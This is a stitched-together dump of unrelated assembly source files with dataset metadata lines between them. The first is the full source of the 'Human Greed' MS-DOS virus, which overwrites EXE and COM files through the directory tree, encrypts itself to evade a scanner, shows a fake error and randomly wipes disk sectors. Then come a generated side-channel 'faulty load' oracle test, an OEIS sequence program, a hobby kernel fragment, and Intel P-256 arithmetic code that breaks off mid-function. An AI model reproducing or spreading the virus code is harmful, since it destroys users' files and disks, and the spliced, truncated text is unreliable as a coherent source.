; And the new routines wich are included are, encryption,
; get/and restore directory, the randomizer, print faker, and
; of'cos the trash routine too. Hope you enjoy the code!
;===============================================================================
; **** HUMAN GREED ****
;===============================================================================
cseg segment byte public
assume cs:cseg, ds:cseg
org 100h
virus_start:
call encrypt_decrypt
jmp encryption_start
write_virus: ; write the virus to the
call encrypt_decrypt ; files, by overwriting
mov dx,100h ; its beginning
mov ah,40h ;
mov cx,666 ; How sadistical??
int 21h ;
call encrypt_decrypt ;
ret
encryption_value dw 0
encrypt_decrypt:
mov si,offset encryption_start
mov dx,encryption_value
mov cx,(end_of_virus-encryption_start+1)/2
xor_loop:
xor word ptr cs:[si],dx
add si,2
call fool_scan_for_TridenT_virus ; must call this meaningless
loop xor_loop ; routine, otherwise, infected
ret ; files will be reported by
fool_scan_for_TridenT_virus: ; SCAN as the "TridenT" virus.
ret
; just return.
encryption_start:
; get current drive
mov ah,19h ; get current drive
int 21h ;
push ax ;
; move to c:
mov ah,0Eh ;
mov dl,02h ; drive C:
int 21h
; get directory.
mov ah,47h
xor dl,dl
lea si,[bp+infernal+2ch]
int 21h
great:
; find first files (starting .exe's).
mov dx,offset ExeMask ; offset 'EXEMASK'
mov ah,4Eh ; find first
int 21h ; via int21
jnc go_for_it ; jmp if no ERROR
; if no exe's was found, just infect.COM files.
mov dx,offset ComMask ; offset 'COMMASK'
mov ah,4Eh ; find first file
;
again: ;
int 21h ;
jc chdir ;
go_for_it:
mov ax,4300h ; Get attribute of file
mov dx,9eh ; Pointer to name in DTA
int 21h ;
push cx ; Push the attrib to stack
mov ax,4301h ; Set attribute to
xor cx,cx ; normal
int 21h ;
mov ax,3D02h ; Open file
mov dx,9eh ; Pointer to name in DTA
int 21h
jc next ; if error, get next file
xchg ax,bx ; Swap AX & BX
; so the filehandle ends up
; in BX
mov ax,5700h ; Get file date
int 21h ;
push cx ; Save file dates
push dx ;
mov encryption_value,50 ; encryption_value.
call write_virus ; write to file(s).
pop dx ; Get the saved
pop cx ; filedates from the stack
mov ax,5701h ; Set them back to the file
int 21h ;
mov ah,3Eh ; Close the file
int 21h ;
pop cx ; Restore the attribs from
; the stack.
mov dx,9eh ; Pointer to name in DTA
mov ax,4301h ; Set them attributes back
int 21h ;
next:
mov ah,4Fh ; now get the next file
jmp short again ; and do it all over again
chdir:
; change directory to [..] and start infect again.
mov dx,offset dot_dot ; offset 'updir'
mov ah,3bh ; change directory
int 21h
jnc great ; jmp to great if no ERROR
exit:
; Throw the dice..
mov ah,2ch ;
int 21h ;
cmp dl,50
ja real_quit ;
jmp print
; no, quitting time, yet..
print:
; first print message.
mov ah,09h ; Print Fake message.
mov dx,offset sign ;
int 21h ;
get_random:
; Throw of a die..
mov ah,2ch ; Randomize.
int 21h ;
cmp dl,10 ;
ja real_quit ;
jmp trash ; bad bad boy..
trash:
; Trash routine from Nowhere Man of [NuKE], thanks.
cli ;
mov ah,2 ; 2=C:
cwd ;
mov cx,0100h ;
int 026h ;
JMP REAL_QUIT
real_quit:
pop dx ;
mov ah,0Eh ; restore org. drive
int 21h ;
; restore directory
lea dx,[bp+infernal+2ch]
mov ah,3bh
int 21h
; time to quit
mov ah,4ch ; return to prompt
int 21h ; via int21
; some data.
ExeMask db '*.EXE',0 ; tought one, huh?
ComMask db '*.COM',0 ; what is this, hm
dot_dot db '..',0 ; '..'
Note db 'That is not dead '
db 'Which can eternal lie '
db 'Yet with strange aeons '
db 'Even death may die '
db 'LiVe AfteR DeATH...'
db 'Do not waste your time '
db 'Searching For '
db 'those wasted years! '
db '(c) 93/94 The Unforgiven/Immortal Riot '
db 'Thanks to Raver and Metal Militia/IR '
truenote db 'Maria K - Life is limited, love is forever... '
db 'Open to reality, forever in love... '
sign db 'Program too big to fit in memory$' ; fake message!
sadistical db ' ***HUMAN GREED*** The answer of all evil on earth! '
db 'Do You Belive? '
db 'Farwell!....'
end_of_virus:
infernal:
cseg ends
end virus_start
| 33.897436 | 80 | 0.471004 | [
"MIT"
] | 010001111/Family | MSDOS/Virus.MSDOS.Unknown.humgreed.asm | 7,932 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1ef55, %rsi
lea addresses_WT_ht+0x14155, %rdi
and %r11, %r11
mov $120, %rcx
rep movsl
nop
nop
nop
inc %rdx
lea addresses_WT_ht+0x13dd5, %rax
nop
nop
nop
sub $9575, %r9
mov (%rax), %cx
nop
nop
nop
nop
nop
cmp $17965, %r11
lea addresses_normal_ht+0x7cd5, %rsi
nop
nop
nop
cmp %r9, %r9
mov $0x6162636465666768, %r11
movq %r11, (%rsi)
nop
and $48010, %rdx
lea addresses_WT_ht+0x198cd, %r11
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%r11), %si
nop
nop
nop
and $24900, %r9
lea addresses_normal_ht+0xcc05, %rsi
lea addresses_UC_ht+0x19455, %rdi
nop
nop
nop
nop
nop
sub %r10, %r10
mov $0, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $42032, %rdi
lea addresses_UC_ht+0x1db55, %r11
nop
nop
nop
cmp %rdi, %rdi
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_normal_ht+0x1b5fd, %r9
nop
nop
nop
dec %rdi
mov (%r9), %dx
nop
nop
inc %rdi
lea addresses_D_ht+0x967c, %r9
nop
nop
nop
xor $34597, %rdx
movb $0x61, (%r9)
nop
add $56730, %rdx
lea addresses_normal_ht+0xa155, %r11
nop
nop
nop
nop
and $3384, %rax
movb $0x61, (%r11)
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x2f75, %r10
nop
nop
nop
nop
nop
cmp $576, %rcx
movb (%r10), %al
cmp %r11, %r11
lea addresses_WC_ht+0x1263d, %rsi
nop
sub %rdx, %rdx
mov (%rsi), %r10w
nop
nop
nop
nop
nop
dec %rax
lea addresses_D_ht+0x1e985, %rdi
nop
cmp %r9, %r9
movl $0x61626364, (%rdi)
sub %r10, %r10
lea addresses_normal_ht+0xacba, %rdi
nop
nop
nop
add $1098, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
movups %xmm0, (%rdi)
nop
nop
nop
nop
mfence
lea addresses_UC_ht+0x2785, %r11
nop
cmp $6558, %rsi
mov (%r11), %rcx
nop
nop
xor $23251, %rcx
lea addresses_WC_ht+0xa155, %rsi
lea addresses_UC_ht+0x5155, %rdi
nop
nop
cmp $40754, %r9
mov $6, %rcx
rep movsb
nop
sub %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rax
push %rbp
push %rdx
// Load
lea addresses_PSE+0x17eb8, %rbp
nop
nop
nop
nop
dec %rax
movb (%rbp), %dl
nop
nop
nop
nop
add $21464, %r8
// Faulty Load
mov $0x6d5cdc0000000155, %r13
nop
nop
nop
and %r10, %r10
movups (%r13), %xmm2
vpextrq $0, %xmm2, %rax
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rdx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.222222 | 2,999 | 0.655045 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NC/_zr_/i7-8650U_0xd2.log_21829_362.asm | 7,830 | Assembly |
; A084171: Binomial transform of generalized Jacobsthal numbers A084170.
; 1,3,11,37,119,373,1151,3517,10679,32293,97391,293197,881639,2649013,7955231,23882077,71678999,215102533,645438671,1936578157,5810258759,17431824853,52297571711,156896909437,470699116919,1412114127973,4236375938351,12709194923917,38127718989479,114383425403893,343150813082591,1029453512989597,3088362686452439
mov $1,1
mov $3,1
lpb $0,1
sub $0,1
add $2,$1
mul $2,2
add $1,$2
mov $2,$3
mul $3,2
lpe
| 34.714286 | 311 | 0.794239 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/084/A084171.asm | 486 | Assembly |
use32
org 500h
;Загрузка таблицы прерываний и запуск прерываний
lidt [idtr]
sti
;Загрузка информации о VESA из указателя
pop esi
mov edi, Mode_Info
mov ecx, dword[Mode_Info_len]
rep movsb
;Перезагрузка GDT
lgdt [gdtr]
call r_init
call k_initKeys
;Заливка цветом (P.S. градиентом) (P.P.S. не работает как надо, но даже лучше)
mov eax, 0x00829c82
mov esi, 0x00FFFFFF
call s_grad
call set_int_ctrlr
;Тест отрисовки шрифта
mov ecx, 33
mov esi, 10 * S_BBP
mov eax, 0
fontLoop:
push ecx
push esi
push eax
shl eax, 3
add eax, mfont
;mov esi, 10 * S_BBP
mov edi, 20
mov ebx, 0x0000FF00
mov edx, FONT_WID
call s_drawChar8
pop eax
pop esi
pop ecx
add esi, 10 * S_BBP
inc eax
loop fontLoop
;ESI = 4 * X, EDI = Y, EAX = WIDTH, EDX = HEIGHT
mov esi, 10 * S_BBP
mov edi, 100
mov eax, 150
mov edx, 100
mov ebx, wtitle
mov ecx, 4
call s_drawWindow
;int 30h
mov dword[tesp0], esp
mov word[tss0], 0
mov word[tss0 + 2], ss
mov dword[tcs], 0x8
mov dword[tds], 0x10
mov ax, 0x2B
ltr ax
;jmp 0x18:0000h
;jmp 00011000b:0000h
mov ax, 0x23
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax ;we don't need to worry about SS. it's handled by iret
mov eax, esp
push 0x23 ;user data segment with bottom 2 bits set for ring 3
push eax ;push our current stack just for the heck of it
pushf
push 0x1B; ;user code segment with bottom 2 bits set for ring 3
push 0 ;may need to remove the _ for this to work right
iret
hltLoop:
hlt
jmp hltLoop
include 'random.inc'
include 'screen24.inc'
include 'keyboard.inc'
macro outb pnum, val {
mov dx, pnum
mov al, val
out dx, al
}
set_int_ctrlr:
;Инициализация
outb 0x20, 0x11
outb 0xA0, 0x11
;Базовые номера векторов
outb 0x21, 0x20
outb 0xA1, 0x28
;...
outb 0x21, 0x04
outb 0xA1, 0x02
outb 0x21, 0x01
outb 0xA1, 0x01
outb 0x21, 0x0
outb 0xA1, 0x0
ret
test1:
;pushad
mov esi, 25 * S_BBP
mov edi, 200
mov eax, 150
mov edx, 100
mov ebx, wtitle2
mov ecx, 5
call s_drawWindow
;popad
iret
include 'kernel_exc.inc'
include 'kernel_ext.inc'
;============================== VESA ИНФОРМАЦИЯ ===========================================
Mode_Info:
ModeInfo_ModeAttributes rw 1
ModeInfo_WinAAttributes rb 1
ModeInfo_WinBAttributes rb 1
ModeInfo_WinGranularity rw 1
ModeInfo_WinSize rw 1
ModeInfo_WinASegment rw 1
ModeInfo_WinBSegment rw 1
ModeInfo_WinFuncPtr rd 1
ModeInfo_BytesPerScanLine rw 1
ModeInfo_XResolution rw 1
ModeInfo_YResolution rw 1
ModeInfo_XCharSize rb 1
ModeInfo_YCharSize rb 1
ModeInfo_NumberOfPlanes rb 1
ModeInfo_BitsPerPixel rb 1
ModeInfo_NumberOfBanks rb 1
ModeInfo_MemoryModel rb 1
ModeInfo_BankSize rb 1
ModeInfo_NumberOfImagePages rb 1
ModeInfo_Reserved_page rb 1
ModeInfo_RedMaskSize rb 1
ModeInfo_RedMaskPos rb 1
ModeInfo_GreenMaskSize rb 1
ModeInfo_GreenMaskPos rb 1
ModeInfo_BlueMaskSize rb 1
ModeInfo_BlueMaskPos rb 1
ModeInfo_ReservedMaskSize rb 1
ModeInfo_ReservedMaskPos rb 1
ModeInfo_DirectColorModeInfo rb 1
; VBE 2.0 extensions
ModeInfo_PhysBasePtr rd 1
ModeInfo_OffScreenMemOffset rd 1
ModeInfo_OffScreenMemSize rw 1
Mode_Info_len:
dd Mode_Info_len - Mode_Info
;================IDT====================
ACC_PRESENT = 10000000b
ACC_INT_GATE = 00001110b
ACC_TRAP_GATE = 00001111b
RING3_ACCESS = 01100000b
idt:
macro exception func {
dw ((func shl 0x30) shr 0x30)
dw 0x8
db 0, ACC_PRESENT OR ACC_TRAP_GATE
dw (func shr 0x10)
}
exception exc0
exception exc1
exception exc2
exception exc3
exception exc4
exception exc5
exception exc6
exception exc7
exception exc8
exception exc9
exception exc10
exception exc11
exception exc12
exception exc13
exception exc14
exception exc15
exception exc16
exception exc17
exception exc18
exception exc19
exception exc20
exception exc21
exception exc22
exception exc23
exception exc24
exception exc25
exception exc26
exception exc27
exception exc28
exception exc29
exception exc30
exception exc31
macro external func {
dw ((func shl 0x30) shr 0x30)
dw 0x8
db 0, ACC_PRESENT OR ACC_INT_GATE
dw (func shr 0x10)
}
external ext0
external ext1
external ext2
external ext3
external ext4
external ext5
external ext6
external ext7
external ext8
external ext9
external ext10
external ext11
external ext12
external ext13
external ext14
external ext15
test_func:
dw ((test1 shl 0x30) shr 0x30) ;Низшая часть адреса
dw 0x8 ;Селектор
db 0, ACC_PRESENT OR ACC_INT_GATE OR RING3_ACCESS ;Тип (доступ)
dw (test1 shr 0x10) ;Высшая часть адреса
idt_end:
;Длина IDT - 1
idtr: dw 187h
dd idt
;=======================================
include 'kernel_tss.inc'
;*************************************
; GDT
;*************************************
;Пустая обязательная запись!
gdt: dw 0x0000, 0x0000, 0x0000, 0x0000
;word(предел сегмента)
;word(младшее слово адреса)
;word(byte(старший байт адреса), byte(доступ))
;word(резерв для i80286. Должно быть равно 0)
;0x8
sys_code: dw 0xFFFF, 0x0000, 0x9A00, 0x00CF
;0x10
sys_data: dw 0xFFFF, 0x0000, 0x9200, 0x00CF
;0x18
;0x9200 => 0xF200
user_code: dw 0xFFFF, 0x2500, 0xFA00, 0x00CF
;0x20
;0x9200 => 0xF200
user_data: dw 0xFFFF, 0x2500, 0xF200, 0x00CF
;0x28
;0x9A00 (0xE100) => 0xFA00
user_tss: dw 0xFFFF, ((TestTSS shl 0x30) shr 0x30), 0xE500, 0x00CF
gdt_end:
;Длина GDT - 1
gdtr: dw gdt_end - gdt - 1
dd gdt
currY dd 200
currEY dd 20
wtitle db 19, 5, 18, 19 ;4
wtitle2 db 15, 11, 14, 15, 35 ;5
werror db 15, 25, 9, 1, 11, 0, ?, ?, ?, ?, ?, ? ;12
wext db 2, 14, 5, 25, 14, 5, 5, ?, ? ;9
wmsglen dw 0
wmsg db 20 dup(?)
mfont: file "mfont.data" | 21.190141 | 91 | 0.66002 | [
"MIT"
] | Mishin870/MOS | MOS3/kernel24.asm | 6,380 | Assembly |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 6, 0x90
Lpoly:
.quad 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFF, 0x0, 0xFFFFFFFF00000001
LRR:
.quad 0x3, 0xfffffffbffffffff, 0xfffffffffffffffe, 0x4fffffffd
LOne:
.long 1,1,1,1,1,1,1,1
LTwo:
.long 2,2,2,2,2,2,2,2
LThree:
.long 3,3,3,3,3,3,3,3
.p2align 6, 0x90
.globl p256r1_mul_by_2
.type p256r1_mul_by_2, @function
p256r1_mul_by_2:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
shld $(1), %r11, %r13
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe1:
.size p256r1_mul_by_2, .Lfe1-(p256r1_mul_by_2)
.p2align 6, 0x90
.globl p256r1_div_by_2
.type p256r1_div_by_2, @function
p256r1_div_by_2:
push %r12
push %r13
push %r14
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
xor %r13, %r13
xor %r14, %r14
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
adc $(0), %r13
test $(1), %r8
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
cmovne %r13, %r14
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r11, %r10
shrd $(1), %r14, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r14
pop %r13
pop %r12
ret
.Lfe2:
.size p256r1_div_by_2, .Lfe2-(p256r1_div_by_2)
.p2align 6, 0x90
.globl p256r1_mul_by_3
.type p256r1_mul_by_3, @function
p256r1_mul_by_3:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
shld $(1), %r11, %r13
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
xor %r13, %r13
addq (%rsi), %r8
adcq (8)(%rsi), %r9
adcq (16)(%rsi), %r10
adcq (24)(%rsi), %r11
adc $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe3:
.size p256r1_mul_by_3, .Lfe3-(p256r1_mul_by_3)
.p2align 6, 0x90
.globl p256r1_add
.type p256r1_add, @function
p256r1_add:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adcq (24)(%rdx), %r11
adc $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe4:
.size p256r1_add, .Lfe4-(p256r1_add)
.p2align 6, 0x90
.globl p256r1_sub
.type p256r1_sub, @function
p256r1_sub:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbbq (24)(%rdx), %r11
sbb $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
test %r13, %r13
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe5:
.size p256r1_sub, .Lfe5-(p256r1_sub)
.p2align 6, 0x90
.globl p256r1_neg
.type p256r1_neg, @function
p256r1_neg:
push %r12
push %r13
xor %r13, %r13
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
xor %r11, %r11
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbbq (24)(%rsi), %r11
sbb $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
test %r13, %r13
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe6:
.size p256r1_neg, .Lfe6-(p256r1_neg)
.p2align 6, 0x90
p256r1_mmull:
xor %r13, %r13
movq (%rbx), %rax
mulq (%rsi)
mov %rax, %r8
mov %rdx, %r9
movq (%rbx), %rax
mulq (8)(%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (%rbx), %rax
mulq (16)(%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (%rbx), %rax
mulq (24)(%rsi)
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
mov %r8, %rax
shl $(32), %rax
